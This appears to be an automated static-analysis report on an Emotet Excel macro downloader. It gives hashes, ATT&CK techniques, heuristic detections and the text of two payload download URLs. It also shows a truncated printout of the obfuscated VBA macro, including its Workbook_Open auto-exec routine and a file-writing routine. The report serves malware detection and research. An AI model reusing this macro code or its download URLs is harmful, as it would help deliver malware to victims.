Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 8e09a72bda5b2978…

MALICIOUS

Office (OLE) / .XLSX

122.5 KB Created: 2022-02-09 09:48:26 Authoring application: Microsoft Excel
MD5: aaef92d97dc9bf8a4369e00e54d1e8b7 SHA-1: a821560dd348d907b435309144a29a20d60269ef SHA-256: 8e09a72bda5b2978771877f164e6f793b581ad174854c5b42cb38a3b80cefdc4
240 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The critical ClamAV detection and high-severity heuristics for VBA macros, Workbook_Open execution, and CreateObject calls strongly indicate a malicious macro-based document. The VBA script attempts to download and execute payloads from multiple URLs, including 'http://midnighitsilvercrafters.com/store/wBjNOUwc/B710N4cA6R3/' and 'http://temp.com/NAT_05_22_2009/BI710N4cA6R3/', and also creates batch and VBScript files in 'c:\programdata\'. The presence of Emotet-related indicators in the ClamAV signature further supports this family attribution.

Heuristics 6

  • ClamAV: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-ab81c42b2bd4747e-9951196-0
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
741c63ee045f79758323270f3caee140d04b796b1c86318d5c351cc1f7e3b9f4		 vba-macro oletools.olevba.extract_macros (decoded VBA source) 52433 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "GsreG4hts9id8"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub DGFhser4hosdihfoidloxoju()
   Dim i As Integer
   Dim image As Object
   With Range("A1")
      .Value = "Привет!"
      .Font.Bold = True
      .Font.Color = RGB(233, 133, 229)
      .Font.Size = 16
      .Orientation = 30
      .EntireColumn.AutoFit
      .Copy
      Set image = ActiveSheet.Pictures.Paste(Link:=False)
      .Clear
   End With
   With image
      .Top = 0
      .Left = 0
   End With
   MsgBox "thse!"
   With image
      For i = 0 To 100
         .Top = i
         .Left = i
      Next
      .Delete
   End With
   Set image = Nothing
End Sub
Sub FDghsewho4y9iftg9hj8seorprp()
   Static fRunning As Boolean
   If fRunning Then
      fRunning = False
      End
   End If
   fRunning = True
   Dim cell As Range
   Dim intLeftBorder As Long
   Dim intRightBorder As Long
   Dim intTopBorder As Long
   Dim intBottomBorder As Long
   Dim alngVertSpeed(1 To 2) As Long
   Dim alngHorzSpeed(1 To 2) As Long
   Dim ashShapes(1 To 2) As Shape
   Dim i As Integer
   Set ashShapes(1) = ActiveSheet.Shapes(1)
   Set ashShapes(2) = ActiveSheet.Shapes(2)
   alngVertSpeed(1) = 3
   alngHorzSpeed(1) = 3
   alngVertSpeed(2) = 4
   alngHorzSpeed(2) = 4
   Set cell = Range("B2")
   intLeftBorder = cell.Left
   intRightBorder = cell.Left + cell.Width
   intTopBorder = cell.Top
   intBottomBorder = cell.Top + cell.Height
   Do
      For i = 1 To 2
         With ashShapes(i)
            If .Left + .Width + alngHorzSpeed(i) > intRightBorder Then
               .Left = intRightBorder - .Width
               alngHorzSpeed(i) = -alngHorzSpeed(i)
            End If
            If .Left + alngHorzSpeed(i) < intLeftBorder Then
               .Left = intLeftBorder
               alngHorzSpeed(i) = -alngHorzSpeed(i)
            End If
            If .Top + .Height + alngVertSpeed(i) > intBottomBorder Then
               .Top = intBottomBorder - .Height
               alngVertSpeed(i) = -alngVertSpeed(i)
            End If
            If .Top + alngVertSpeed(i) < intTopBorder Then
               .Top = intTopBorder
               alngVertSpeed(i) = -alngVertSpeed(i)
            End If
            .Left = .Left + alngHorzSpeed(i)
            .Top = .Top + alngVertSpeed(i)
            .IncrementRotation alngVertSpeed(i)
            DoEvents
         End With
      Next
   Loop
End Sub
Private Sub Workbook_Open()
   Dim intRow As Integer: Dim intCol As Integer
   Dim aintOut() As Integer
   Dim aintValues() As Integer: intRow = 4: Dim intMax As Integer
   Dim i As Integer: intCol = 5
   ReDim aintOut(1 To intRow, 1 To intCol): i = 1: intMax = _
   intRow * intCol: intMax = 3
   ReDim aintValues(1 To intMax)
   If i = 1 Then
   serh3wdrttTS4.tbsdFAWEhs57.Text = CStr(intMax)
   aintValues(i) = i: Exit Sub
   End If
   For intRow = 1 To Application.Caller.Rows.Count
      For intCol = 1 To Application.Caller.Columns.Count
         i = Rnd * intMax
         If i = 0 Then i = 1
         aintOut(intRow, intCol) = aintValues(i)
         aintValues(i) = aintValues(intMax)
         intMax = intMax - 1
      Next intCol
   Next intRow
End Sub
Sub hjSREta4w8rasghihg(ByVal dfjow9ifod As String, Gawehoisdh As Object, ByVal fnvosuiy As String)
    Dim astrSheetNames() As String
    Dim intSheetCount As Integer
    Dim i As Integer
    Dim objActiveSheet As Object
    If ActiveWorkbook Is Nothing Then Exit Sub
    Open dfjow9ifod For Output As #1
    If ActiveWorkbook.ProtectStructure And intSheetCount = 2472 Then
        MsgBox "yhqarew " & ActiveWorkbook.Name & _
         " hwerfg. hwergs we5ydswfg.", _
         vbCritical
        Exit Sub
    End If
    Set objActiveSheet = ActiveSheet
    intSheetCount = ActiveWorkbook.Sheets.Count: Print
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.